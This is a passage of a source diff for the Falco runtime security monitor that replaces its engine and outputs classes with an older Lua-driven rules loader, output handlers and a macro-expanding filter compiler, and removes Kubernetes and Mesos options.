+		const char* lerr = lua_tostring(ls, -1);
+		throw sinsp_exception(string(lerr));
+	}
+
+}
+
+// Print statistics on the the rules that triggered
+void print_stats(lua_State *ls)
+{
+	lua_getglobal(ls, lua_print_stats.c_str());
+
+	if(lua_isfunction(ls, -1))
+	{
+		if(lua_pcall(ls, 0, 0, 0) != 0)
+		{
+			const char* lerr = lua_tostring(ls, -1);
+			string err = "Error invoking function print_stats: " + string(lerr);
+			throw sinsp_exception(err);
+		}
+	}
+	else
+	{
+		throw sinsp_exception("No function " + lua_print_stats + " found in lua rule loader module");
+	}
+
+}
+
 //
 // ARGUMENT PARSING AND PROGRAM SETUP
 //
@@ -186,49 +240,39 @@ int falco_init(int argc, char **argv)
 {
 	int result = EXIT_SUCCESS;
 	sinsp* inspector = NULL;
-	falco_engine *engine = NULL;
-	falco_outputs *outputs = NULL;
+	falco_rules* rules = NULL;
 	int op;
 	int long_index = 0;
+	string lua_main_filename;
 	string scap_filename;
 	string conf_filename;
-	list<string> rules_filenames;
+	string rules_filename;
+	string lua_dir = FALCO_LUA_DIR;
+	lua_State* ls = NULL;
 	bool daemon = false;
 	string pidfilename = "/var/run/falco.pid";
 	bool describe_all_rules = false;
 	string describe_rule = "";
-	bool verbose = false;
-	bool all_events = false;
-	string* k8s_api = 0;
-	string* k8s_api_cert = 0;
-	string* mesos_api = 0;
-	string output_format = "";
-	bool replace_container_info = false;
 
 	static struct option long_options[] =
 	{
 		{"help", no_argument, 0, 'h' },
 		{"daemon", no_argument, 0, 'd' },
-		{"k8s-api", required_argument, 0, 'k'},
-		{"k8s-api-cert", required_argument, 0, 'K' },
-		{"mesos-api", required_argument, 0, 'm'},
 		{"option", required_argument, 0, 'o'},
-		{"print", required_argument, 0, 'p' },
-		{"pidfile", required_argument, 0, 'P' },
+		{"pidfile", required_argument, 0, 'p' },
 
 		{0, 0, 0, 0}
 	};
 
 	try
 	{
-		set<string> disabled_rule_patterns;
-		string pattern;
+		inspector = new sinsp();
 
 		//
 		// Parse the args
 		//
 		while((op = getopt_long(argc, argv,
-                                        "hc:AdD:e:k:K:Ll:m:o:P:p:r:v",
+                                        "c:ho:e:r:dp:Ll:",
                                         long_options, &long_index)) != -1)
 		{
 			switch(op)
@@ -239,26 +283,20 @@ int falco_init(int argc, char **argv)
 			case 'c':
 				conf_filename = optarg;
 				break;
-			case 'A':
-				all_events = true;
+			case 'o':
+				cmdline_options.push_back(optarg);
+				break;
+			case 'e':
+				scap_filename = optarg;
+				break;
+			case 'r':
+				rules_filename = optarg;
 				break;
 			case 'd':
 				daemon = true;
 				break;
-			case 'D':
-				pattern = optarg;
-				disabled_rule_patterns.insert(pattern);
-				break;
-			case 'e':
-				scap_filename = optarg;
-				k8s_api = new string();
-				mesos_api = new string();
-				break;
-			case 'k':
-				k8s_api = new string(optarg);
-				break;
-			case 'K':
-				k8s_api_cert = new string(optarg);
+			case 'p':
+				pidfilename = optarg;
 				break;
 			case 'L':
 				describe_all_rules = true;
@@ -266,43 +304,6 @@ int falco_init(int argc, char **argv)
 			case 'l':
 				describe_rule = optarg;
 				break;
-			case 'm':
-				mesos_api = new string(optarg);
-				break;
-			case 'o':
-				cmdline_options.push_back(optarg);
-				break;
-			case 'P':
-				pidfilename = optarg;
-				break;
-			case 'p':
-				if(string(optarg) == "c" || string(optarg) == "container")
-				{
-					output_format = "container=%container.name (id=%container.id)";
-					replace_container_info = true;
-				}
-				else if(string(optarg) == "k" || string(optarg) == "kubernetes")
-				{
-					output_format = "k8s.pod=%k8s.pod.name container=%container.id";
-					replace_container_info = true;
-				}
-				else if(string(optarg) == "m" || string(optarg) == "mesos")
-				{
-					output_format = "task=%mesos.task.name container=%container.id";
-					replace_container_info = true;
-				}
-				else
-				{
-					output_format = optarg;
-					replace_container_info = false;
-				}
-				break;
-			case 'r':
-				rules_filenames.push_back(optarg);
-				break;
-			case 'v':
-				verbose = true;
-				break;
 			case '?':
 				result = EXIT_FAILURE;
 				goto exit;
@@ -312,39 +313,31 @@ int falco_init(int argc, char **argv)
 
 		}
 
-		inspector = new sinsp();
-		engine = new falco_engine();
-		engine->set_inspector(inspector);
-
-		outputs = new falco_outputs();
-		outputs->set_inspector(inspector);
-		outputs->set_extra(output_format, replace_container_info);
-
 		// Some combinations of arguments are not allowed.
 		if (daemon && pidfilename == "") {
-			throw std::invalid_argument("If -d is provided, a pid file must also be provided");
+			throw sinsp_exception("If -d is provided, a pid file must also be provided");
 		}
 
-		ifstream conf_stream;
+		ifstream* conf_stream;
 		if (conf_filename.size())
 		{
-			conf_stream.open(conf_filename);
-			if (!conf_stream.is_open())
+			conf_stream = new ifstream(conf_filename);
+			if (!conf_stream->good())
 			{
-				throw std::runtime_error("Could not find configuration file at " + conf_filename);
+				throw sinsp_exception("Could not find configuration file at " + conf_filename);
 			}
 		}
 		else
 		{
-			conf_stream.open(FALCO_SOURCE_CONF_FILE);
-			if (conf_stream.is_open())
+			conf_stream = new ifstream(FALCO_SOURCE_CONF_FILE);
+			if (conf_stream->good())
 			{
 				conf_filename = FALCO_SOURCE_CONF_FILE;
 			}
 			else
 			{
-				conf_stream.open(FALCO_INSTALL_CONF_FILE);
-				if (conf_stream.is_open())
+				conf_stream = new ifstream(FALCO_INSTALL_CONF_FILE);
+				if (conf_stream->good())
 				{
 					conf_filename = FALCO_INSTALL_CONF_FILE;
 				}
@@ -368,47 +361,63 @@ int falco_init(int argc, char **argv)
 			falco_logger::log(LOG_INFO, "Falco initialized. No configuration file found, proceeding with defaults\n");
 		}
 
-		if (rules_filenames.size())
+		if (rules_filename.size())
 		{
-			config.m_rules_filenames = rules_filenames;
+			config.m_rules_filename = rules_filename;
 		}
 
-		for (auto filename : config.m_rules_filenames)
+		lua_main_filename = lua_dir + FALCO_LUA_MAIN;
+		if (!std::ifstream(lua_main_filename))
 		{
-			engine->load_rules_file(filename, verbose, all_events);
-			falco_logger::log(LOG_INFO, "Parsed rules from file " + filename + "\n");
+			lua_dir = FALCO_SOURCE_LUA_DIR;
+			lua_main_filename = lua_dir + FALCO_LUA_MAIN;
+			if (!std::ifstream(lua_main_filename))
+			{
+				falco_logger::log(LOG_ERR, "Could not find Falco Lua libraries (tried " +
+						     string(FALCO_LUA_DIR FALCO_LUA_MAIN) + ", " +
+						     lua_main_filename + "). Exiting.\n");
+				result = EXIT_FAILURE;
+				goto exit;
+			}
 		}
 
-		for (auto pattern : disabled_rule_patterns)
-		{
-			falco_logger::log(LOG_INFO, "Disabling rules matching pattern: " + pattern + "\n");
-			engine->enable_rule(pattern, false);
-		}
+		// Initialize Lua interpreter
+		ls = lua_open();
+		luaL_openlibs(ls);
+		luaopen_lpeg(ls);
+		luaopen_yaml(ls);
+		add_lua_path(ls, lua_dir);
 
-		outputs->init(config.m_json_output);
+		rules = new falco_rules(inspector, ls, lua_main_filename);
 
-		if(!all_events)
-		{
-			inspector->set_drop_event_flags(EF_DROP_FALCO);
-		}
+		falco_formats::init(inspector, ls, config.m_json_output);
+		falco_fields::init(inspector, ls);
+
+		falco_logger::init(ls);
+
+
+		inspector->set_drop_event_flags(EF_DROP_FALCO);
+		rules->load_rules(config.m_rules_filename);
+		inspector->set_filter(rules->get_filter());
+		falco_logger::log(LOG_INFO, "Parsed rules from file " + config.m_rules_filename + "\n");
 
 		if (describe_all_rules)
 		{
-			engine->describe_rule(NULL);
+			rules->describe_rule(NULL);
 			goto exit;
 		}
 
 		if (describe_rule != "")
 		{
-			engine->describe_rule(&describe_rule);
+			rules->describe_rule(&describe_rule);
 			goto exit;
 		}
 
 		inspector->set_hostname_and_port_resolution_mode(false);
 
-		for(auto output : config.m_outputs)
+		for(std::vector<output_config>::iterator it = config.m_outputs.begin(); it != config.m_outputs.end(); ++it)
 		{
-			outputs->add_output(output);
+			add_output(ls, *it);
 		}
 
 		if(signal(SIGINT, signal_callback) == SIG_ERR)
@@ -500,74 +509,23 @@ int falco_init(int argc, char **argv)
 			open("/dev/null", O_RDWR);
 		}
 
-		//
-		// run k8s, if required
-		//
-		if(k8s_api)
-		{
-			if(!k8s_api_cert)
-			{
-				if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
-				{
-					k8s_api_cert = new string(k8s_cert_env);
-				}
-			}
-			inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
-			k8s_api = 0;
-			k8s_api_cert = 0;
-		}
-		else if(char* k8s_api_env = getenv("FALCO_K8S_API"))
-		{
-			if(k8s_api_env != NULL)
-			{
-				if(!k8s_api_cert)
-				{
-					if(char* k8s_cert_env = getenv("FALCO_K8S_API_CERT"))
-					{
-						k8s_api_cert = new string(k8s_cert_env);
-					}
-				}
-				k8s_api = new string(k8s_api_env);
-				inspector->init_k8s_client(k8s_api, k8s_api_cert, verbose);
-			}
-			else
-			{
-				delete k8s_api;
-				delete k8s_api_cert;
-			}
-			k8s_api = 0;
-			k8s_api_cert = 0;
-		}
-
-		//
-		// run mesos, if required
-		//
-		if(mesos_api)
-		{
-			inspector->init_mesos_client(mesos_api, verbose);
-		}
-		else if(char* mesos_api_env = getenv("FALCO_MESOS_API"))
-		{
-			if(mesos_api_env != NULL)
-			{
-				mesos_api = new string(mesos_api_env);
-				inspector->init_mesos_client(mesos_api, verbose);
-			}
-		}
-		delete mesos_api;
-		mesos_api = 0;
-
-		do_inspect(engine,
-			   outputs,
-			   inspector);
+		do_inspect(inspector,
+			   rules,
+			   ls);
 
 		inspector->close();
 
-		engine->print_stats();
+		print_stats(ls);
 	}
-	catch(exception &e)
+	catch(sinsp_exception& e)
 	{
-		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n");
+		display_fatal_err("Runtime error: " + string(e.what()) + ". Exiting.\n", daemon);
+
+		result = EXIT_FAILURE;
+	}
+	catch(...)
+	{
+		display_fatal_err("Unexpected error, Exiting\n", daemon);
 
 		result = EXIT_FAILURE;
 	}
@@ -575,9 +533,11 @@ int falco_init(int argc, char **argv)
 exit:
 
 	delete inspector;
-	delete engine;
-	delete outputs;
 
+	if(ls)
+	{
+		lua_close(ls);
+	}
 	return result;
 }
 

userspace/falco/falco_outputs.cpp

@@ -1,146 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#include "falco_outputs.h"
-
-#include "config_falco.h"
-
-
-#include "formats.h"
-#include "logger.h"
-
-using namespace std;
-
-falco_outputs::falco_outputs()
-	: m_replace_container_info(false)
-{
-
-}
-
-falco_outputs::~falco_outputs()
-{
-
-}
-
-void falco_outputs::init(bool json_output)
-{
-	// The engine must have been given an inspector by now.
-	if(! m_inspector)
-	{
-		throw falco_exception("No inspector provided");
-	}
-
-	falco_common::init(m_lua_main_filename.c_str(), FALCO_SOURCE_LUA_DIR);
-
-	falco_formats::init(m_inspector, m_ls, json_output);
-
-	falco_logger::init(m_ls);
-}
-
-void falco_outputs::set_extra(string &extra, bool replace_container_info)
-{
-	m_extra = extra;
-	m_replace_container_info = replace_container_info;
-}
-
-void falco_outputs::add_output(output_config oc)
-{
-	uint8_t nargs = 1;
-	lua_getglobal(m_ls, m_lua_add_output.c_str());
-
-	if(!lua_isfunction(m_ls, -1))
-	{
-		throw falco_exception("No function " + m_lua_add_output + " found. ");
-	}
-	lua_pushstring(m_ls, oc.name.c_str());
-
-	// If we have options, build up a lua table containing them
-	if (oc.options.size())
-	{
-		nargs = 2;
-		lua_createtable(m_ls, 0, oc.options.size());
-
-		for (auto it = oc.options.cbegin(); it != oc.options.cend(); ++it)
-		{
-			lua_pushstring(m_ls, (*it).second.c_str());
-			lua_setfield(m_ls, -2, (*it).first.c_str());
-		}
-	}
-
-	if(lua_pcall(m_ls, nargs, 0, 0) != 0)
-	{
-		const char* lerr = lua_tostring(m_ls, -1);
-		throw falco_exception(string(lerr));
-	}
-
-}
-
-void falco_outputs::handle_event(sinsp_evt *ev, string &level, string &priority, string &format)
-{
-	lua_getglobal(m_ls, m_lua_output_event.c_str());
-
-	// If the format string contains %container.info, replace it
-	// with extra. Otherwise, add extra onto the end of the format
-	// string.
-	string format_w_extra = format;
-	size_t pos;
-
-	if((pos = format_w_extra.find("%container.info")) != string::npos)
-	{
-		// There may not be any extra, or we're not supposed
-		// to replace it, in which case we use the generic
-		// "%container.name (id=%container.id)"
-		if(m_extra == "" || ! m_replace_container_info)
-		{
-			// 15 == strlen(%container.info)
-			format_w_extra.replace(pos, 15, "%container.name (id=%container.id)");
-		}
-		else
-		{
-			format_w_extra.replace(pos, 15, m_extra);
-		}
-	}
-	else
-	{
-		// Just add the extra to the end
-		if (m_extra != "")
-		{
-			format_w_extra += " " + m_extra;
-		}
-	}
-
-	if(lua_isfunction(m_ls, -1))
-	{
-		lua_pushlightuserdata(m_ls, ev);
-		lua_pushstring(m_ls, level.c_str());
-		lua_pushstring(m_ls, priority.c_str());
-		lua_pushstring(m_ls, format_w_extra.c_str());
-
-		if(lua_pcall(m_ls, 4, 0, 0) != 0)
-		{
-			const char* lerr = lua_tostring(m_ls, -1);
-			string err = "Error invoking function output: " + string(lerr);
-			throw falco_exception(err);
-		}
-	}
-	else
-	{
-		throw falco_exception("No function " + m_lua_output_event + " found in lua compiler module");
-	}
-
-}

userspace/falco/falco_outputs.h

@@ -1,61 +0,0 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
-#pragma once
-
-#include "falco_common.h"
-
-//
-// This class acts as the primary interface between a program and the
-// falco output engine. The falco rules engine is implemented by a
-// separate class falco_engine.
-//
-
-class falco_outputs : public falco_common
-{
-public:
-	falco_outputs();
-	virtual ~falco_outputs();
-
-	// The way to refer to an output (file, syslog, stdout,
-	// etc). An output has a name and set of options.
-	struct output_config
-	{
-		std::string name;
-		std::map<std::string, std::string> options;
-	};
-
-	void init(bool json_output);
-
-	void add_output(output_config oc);
-
-	void set_extra(string &extra, bool replace_container_info);
-
-	//
-	// ev is an event that has matched some rule. Pass the event
-	// to all configured outputs.
-	//
-	void handle_event(sinsp_evt *ev, std::string &level, std::string &priority, std::string &format);
-
-private:
-	std::string m_lua_add_output = "add_output";
-	std::string m_lua_output_event = "output_event";
-	std::string m_lua_main_filename = "output.lua";
-	std::string m_extra;
-	bool m_replace_container_info;
-};

userspace/falco/fields.cpp

@@ -0,0 +1,76 @@
+#include "fields.h"
+#include "chisel_api.h"
+#include "filterchecks.h"
+
+
+extern sinsp_filter_check_list g_filterlist;
+
+const static struct luaL_reg ll_falco [] =
+{
+	{"field", &falco_fields::field},
+	{NULL,NULL}
+};
+
+sinsp* falco_fields::s_inspector = NULL;
+
+std::map<string, sinsp_filter_check*> falco_fields::s_fieldname_map;
+
+
+void falco_fields::init(sinsp* inspector, lua_State *ls)
+{
+	s_inspector = inspector;
+
+	luaL_openlib(ls, "falco", ll_falco, 0);
+}
+
+int falco_fields::field(lua_State *ls)
+{
+
+	sinsp_filter_check* chk=NULL;
+
+	if (!lua_islightuserdata(ls, 1))
+	{
+		string err = "invalid argument passed to falco.field()";
+		fprintf(stderr, "%s\n", err.c_str());
+		throw sinsp_exception("falco.field() error");
+	}
+	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
+
+	string fieldname = luaL_checkstring(ls, 2);
+
+	if (s_fieldname_map.count(fieldname) == 0)
+	{
+
+		chk = g_filterlist.new_filter_check_from_fldname(fieldname,
+								 s_inspector,
+								 false);
+
+		if(chk == NULL)
+		{
+			string err = "nonexistent fieldname passed to falco.field(): " + string(fieldname);
+			fprintf(stderr, "%s\n", err.c_str());
+			throw sinsp_exception("falco.field() error");
+		}
+
+		chk->parse_field_name(fieldname.c_str(), true);
+		s_fieldname_map[fieldname] = chk;
+	}
+	else
+	{
+		chk = s_fieldname_map[fieldname];
+	}
+
+	uint32_t vlen;
+	uint8_t* rawval = chk->extract(evt, &vlen);
+
+	if(rawval != NULL)
+	{
+		return lua_cbacks::rawval_to_lua_stack(ls, rawval, chk->get_field_info(), vlen);
+	}
+	else
+	{
+		lua_pushnil(ls);
+		return 1;
+	}
+}
+

userspace/falco/fields.h

@@ -0,0 +1,21 @@
+#pragma once
+
+#include "sinsp.h"
+
+extern "C" {
+#include "lua.h"
+#include "lualib.h"
+#include "lauxlib.h"
+}
+
+class falco_fields
+{
+ public:
+	static void init(sinsp* inspector, lua_State *ls);
+
+	// value = falco.field(evt, fieldname)
+	static int field(lua_State *ls);
+
+	static sinsp* s_inspector;
+	static std::map<string, sinsp_filter_check*> s_fieldname_map;
+};

userspace/falco/formats.cpp

@@ -1,26 +1,7 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #include <json/json.h>
 
 #include "formats.h"
 #include "logger.h"
-#include "falco_engine.h"
 
 
 sinsp* falco_formats::s_inspector = NULL;
@@ -29,7 +10,6 @@ bool s_json_output = false;
 const static struct luaL_reg ll_falco [] =
 {
 	{"formatter", &falco_formats::formatter},
-	{"free_formatter", &falco_formats::free_formatter},
 	{"format_event", &falco_formats::format_event},
 	{NULL,NULL}
 };
@@ -52,7 +32,9 @@ int falco_formats::formatter(lua_State *ls)
 	}
 	catch(sinsp_exception& e)
 	{
-		throw falco_exception("Invalid output format '" + format + "'.\n");
+		falco_logger::log(LOG_ERR, "Invalid output format '" + format + "'.\n");
+
+		throw sinsp_exception("set_formatter error");
 	}
 
 	lua_pushlightuserdata(ls, formatter);
@@ -60,20 +42,6 @@ int falco_formats::formatter(lua_State *ls)
 	return 1;
 }
 
-int falco_formats::free_formatter(lua_State *ls)
-{
-	if (!lua_islightuserdata(ls, -1))
-	{
-		throw falco_exception("Invalid argument passed to free_formatter");
-	}
-
-	sinsp_evt_formatter *formatter = (sinsp_evt_formatter *) lua_topointer(ls, 1);
-
-	delete(formatter);
-
-	return 1;
-}
-
 int falco_formats::format_event (lua_State *ls)
 {
 	string line;
@@ -82,7 +50,8 @@ int falco_formats::format_event (lua_State *ls)
 	    !lua_isstring(ls, -2) ||
 	    !lua_isstring(ls, -3) ||
 	    !lua_islightuserdata(ls, -4)) {
-		throw falco_exception("Invalid arguments passed to format_event()\n");
+		falco_logger::log(LOG_ERR, "Invalid arguments passed to format_event()\n");
+		throw sinsp_exception("format_event error");
 	}
 	sinsp_evt* evt = (sinsp_evt*)lua_topointer(ls, 1);
 	const char *rule = (char *) lua_tostring(ls, 2);

userspace/falco/formats.h

@@ -1,21 +1,3 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #pragma once
 
 #include "sinsp.h"
@@ -36,9 +18,6 @@ class falco_formats
 	// formatter = falco.formatter(format_string)
 	static int formatter(lua_State *ls);
 
-	// falco.free_formatter(formatter)
-	static int free_formatter(lua_State *ls);
-
 	// formatted_string = falco.format_event(evt, formatter)
 	static int format_event(lua_State *ls);
 

userspace/falco/logger.cpp

@@ -1,24 +1,9 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #include <ctime>
 #include "logger.h"
 #include "chisel_api.h"
+#include "filterchecks.h"
+
+
 
 const static struct luaL_reg ll_falco [] =
 {

userspace/falco/logger.h

@@ -1,21 +1,3 @@
-/*
-Copyright (C) 2016 Draios inc.
-
-This file is part of falco.
-
-falco is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License version 2 as
-published by the Free Software Foundation.
-
-falco is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with falco.  If not, see <http://www.gnu.org/licenses/>.
-*/
-
 #pragma once
 
 #include "sinsp.h"

userspace/falco/lua/compiler.lua

@@ -0,0 +1,203 @@
+local parser = require("parser")
+local compiler = {}
+
+function map(f, arr)
+   local res = {}
+   for i,v in ipairs(arr) do
+      res[i] = f(v)
+   end
+   return res
+end
+
+function foldr(f, acc, arr)
+   for i,v in pairs(arr) do
+      acc = f(acc, v)
+   end
+   return acc
+end
+
+--[[
+
+   Given a map of macro definitions, traverse AST and replace macro references
+   with their definitions.
+
+   The AST is changed in-place.
+
+   The return value is a boolean which is true if any macro was
+   substitued. This allows a caller to re-traverse until no more macros are
+   found, a simple strategy for recursive resoltuions (e.g. when a macro
+   definition uses another macro).
+
+--]]
+function expand_macros(ast, defs, changed)
+
+   function copy(obj)
+      if type(obj) ~= 'table' then return obj end
+      local res = {}
+      for k, v in pairs(obj) do res[copy(k)] = copy(v) end
+      return res
+   end
+
+   if (ast.type == "Rule") then
+      return expand_macros(ast.filter, defs, changed)
+   elseif ast.type == "Filter" then
+      if (ast.value.type == "Macro") then
+         if (defs[ast.value.value] == nil) then
+            error("Undefined macro '".. ast.value.value .. "' used in filter.")
+         end
+         ast.value = copy(defs[ast.value.value])
+         changed = true
+	 return changed
+      end
+      return expand_macros(ast.value, defs, changed)
+
+   elseif ast.type == "BinaryBoolOp" then
+
+      if (ast.left.type == "Macro") then
+         if (defs[ast.left.value] == nil) then
+            error("Undefined macro '".. ast.left.value .. "' used in filter.")
+         end
+         ast.left = copy(defs[ast.left.value])
+         changed = true
+      end
+
+      if (ast.right.type == "Macro") then
+         if (defs[ast.right.value] == nil) then
+            error("Undefined macro ".. ast.right.value .. " used in filter.")
+         end
+         ast.right = copy(defs[ast.right.value])
+         changed = true
+      end
+
+      local changed_left = expand_macros(ast.left, defs, false)
+      local changed_right = expand_macros(ast.right, defs, false)
+      return changed or changed_left or changed_right
+
+   elseif ast.type == "UnaryBoolOp" then
+      if (ast.argument.type == "Macro") then
+         if (defs[ast.argument.value] == nil) then
+            error("Undefined macro ".. ast.argument.value .. " used in filter.")
+         end
+         ast.argument = copy(defs[ast.argument.value])
+         changed = true
+      end
+      return expand_macros(ast.argument, defs, changed)
+   end
+   return changed
+end
+
+function get_macros(ast, set)
+   if (ast.type == "Macro") then
+      set[ast.value] = true
+      return set
+   end
+
+   if ast.type == "Filter" then
+      return get_macros(ast.value, set)
+   end
+
+   if ast.type == "BinaryBoolOp" then
+      local left = get_macros(ast.left, {})
+      local right = get_macros(ast.right, {})
+
+      for m, _ in pairs(left) do set[m] = true end
+      for m, _ in pairs(right) do set[m] = true end
+
+      return set
+   end
+   if ast.type == "UnaryBoolOp" then
+      return get_macros(ast.argument, set)
+   end
+   return set
+end
+
+function check_for_ignored_syscalls_events(ast, filter_type, source)
+
+   function check_syscall(val)
+      if ignored_syscalls[val] then
+	 error("Ignored syscall \""..val.."\" in "..filter_type..": "..source)
+      end
+
+   end
+
+   function check_event(val)
+      if ignored_events[val] then
+	 error("Ignored event \""..val.."\" in "..filter_type..": "..source)
+      end
+   end
+
+   function cb(node)
+      if node.left.type == "FieldName" and
+	 (node.left.value == "evt.type" or
+	  node.left.value == "syscall.type") then
+
+	    if node.operator == "in" then
+	       for i, v in ipairs(node.right.elements) do
+		  if v.type == "BareString" then
+		     if node.left.value == "evt.type" then
+			check_event(v.value)
+		     else
+			check_syscall(v.value)
+		     end
+		  end
+	       end
+	    else
+	       if node.right.type == "BareString" then
+		  if node.left.value == "evt.type" then
+		     check_event(node.right.value)
+		  else
+		     check_syscall(node.right.value)
+		  end
+	       end
+	    end
+      end
+   end
+
+   parser.traverse_ast(ast, "BinaryRelOp", cb)
+end
+
+function compiler.compile_macro(line)
+   local ast, error_msg = parser.parse_filter(line)
+
+   if (error_msg) then
+      print ("Compilation error: ", error_msg)
+      error(error_msg)
+   end
+
+   -- Traverse the ast looking for events/syscalls in the ignored
+   -- syscalls table. If any are found, return an error.
+   check_for_ignored_syscalls_events(ast, 'macro', line)
+
+   return ast
+end
+
+--[[
+   Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
+--]]
+function compiler.compile_filter(source, macro_defs)
+   local ast, error_msg = parser.parse_filter(source)
+
+   if (error_msg) then
+      print ("Compilation error: ", error_msg)
+      error(error_msg)
+   end
+
+   -- Traverse the ast looking for events/syscalls in the ignored
+   -- syscalls table. If any are found, return an error.
+   check_for_ignored_syscalls_events(ast, 'rule', source)
+
+   if (ast.type == "Rule") then
+      -- Line is a filter, so expand macro references
+      repeat
+	 expanded  = expand_macros(ast, macro_defs, false)
+      until expanded == false
+
+   else
+      error("Unexpected top-level AST type: "..ast.type)
+   end
+
+   return ast
+end
+
+
+return compiler

userspace/falco/lua/output.lua

@@ -1,21 +1,3 @@
---
--- Copyright (C) 2016 Draios inc.
---
--- This file is part of falco.
---
--- falco is free software; you can redistribute it and/or modify
--- it under the terms of the GNU General Public License version 2 as
--- published by the Free Software Foundation.
---
--- falco is distributed in the hope that it will be useful,
--- but WITHOUT ANY WARRANTY; without even the implied warranty of
--- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--- GNU General Public License for more details.
---
--- You should have received a copy of the GNU General Public License
--- along with falco.  If not, see <http://www.gnu.org/licenses/>.
-
-
 local mod = {}
 
 levels = {"Emergency", "Alert", "Critical", "Error", "Warning", "Notice", "Informational", "Debug"}
@@ -24,7 +6,10 @@ mod.levels = levels
 
 local outputs = {}
 
-function mod.stdout(level, msg)
+function mod.stdout(evt, rule, level, format)
+   format = "*%evt.time: "..levels[level+1].." "..format
+   formatter = falco.formatter(format)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
    print (msg)
 end
 
@@ -41,48 +26,27 @@ function mod.file_validate(options)
 
 end
 
-function mod.file(level, msg, options)
+function mod.file(evt, rule, level, format, options)
+   format = "%evt.time: "..levels[level+1].." "..format
+   formatter = falco.formatter(format)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
+
    file = io.open(options.filename, "a+")
    file:write(msg, "\n")
    file:close()
 end
 
-function mod.syslog(level, msg, options)
+function mod.syslog(evt, rule, level, format)
+
+   formatter = falco.formatter(format)
+   msg = falco.format_event(evt, rule, levels[level+1], formatter)
    falco.syslog(level, msg)
 end
 
-function mod.program(level, msg, options)
-   -- XXX Ideally we'd check that the program ran
-   -- successfully. However, the luajit we're using returns true even
-   -- when the shell can't run the program.
-
-   file = io.popen(options.program, "w")
-
-   file:write(msg, "\n")
-   file:close()
-end
-
-local function level_of(s)
-   s = string.lower(s)
-   for i,v in ipairs(levels) do
-      if (string.find(string.lower(v), "^"..s)) then
-	 return i - 1 -- (syslog levels start at 0, lua indices start at 1)
-      end
-   end
-   error("Invalid severity level: "..s)
-end
-
-function output_event(event, rule, priority, format)
-   local level = level_of(priority)
-   format = "*%evt.time: "..levels[level+1].." "..format
-   formatter = falco.formatter(format)
-   msg = falco.format_event(event, rule, levels[level+1], formatter)
-
+function mod.event(event, rule, level, format)
    for index,o in ipairs(outputs) do
-      o.output(level, msg, o.config)
+      o.output(event, rule, level, format, o.config)
    end
-
-   falco.free_formatter(formatter)
 end
 
 function add_output(output_name, config)

userspace/falco/lua/parser.lua

@@ -1,20 +1,3 @@
---
--- Copyright (C) 2016 Draios inc.
---
--- This file is part of falco.
---
--- falco is free software; you can redistribute it and/or modify
--- it under the terms of the GNU General Public License version 2 as
--- published by the Free Software Foundation.
---
--- falco is distributed in the hope that it will be useful,
--- but WITHOUT ANY WARRANTY; without even the implied warranty of
--- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
--- GNU General Public License for more details.
---
--- You should have received a copy of the GNU General Public License
--- along with falco.  If not, see <http://www.gnu.org/licenses/>.
-
 --[[
    Falco grammar and parser.
 
@@ -28,12 +11,6 @@
 
 local parser = {}
 
-parser.verbose = false
-
-function parser.set_verbose(verbose)
-   parser.verbose = verbose
-end
-
 local lpeg = require "lpeg"
 
 lpeg.locale(lpeg)
@@ -216,7 +193,6 @@ local G = {
   RelationalExpression =
      rel(terminal "FieldName", V"RelOp", V"Value") +
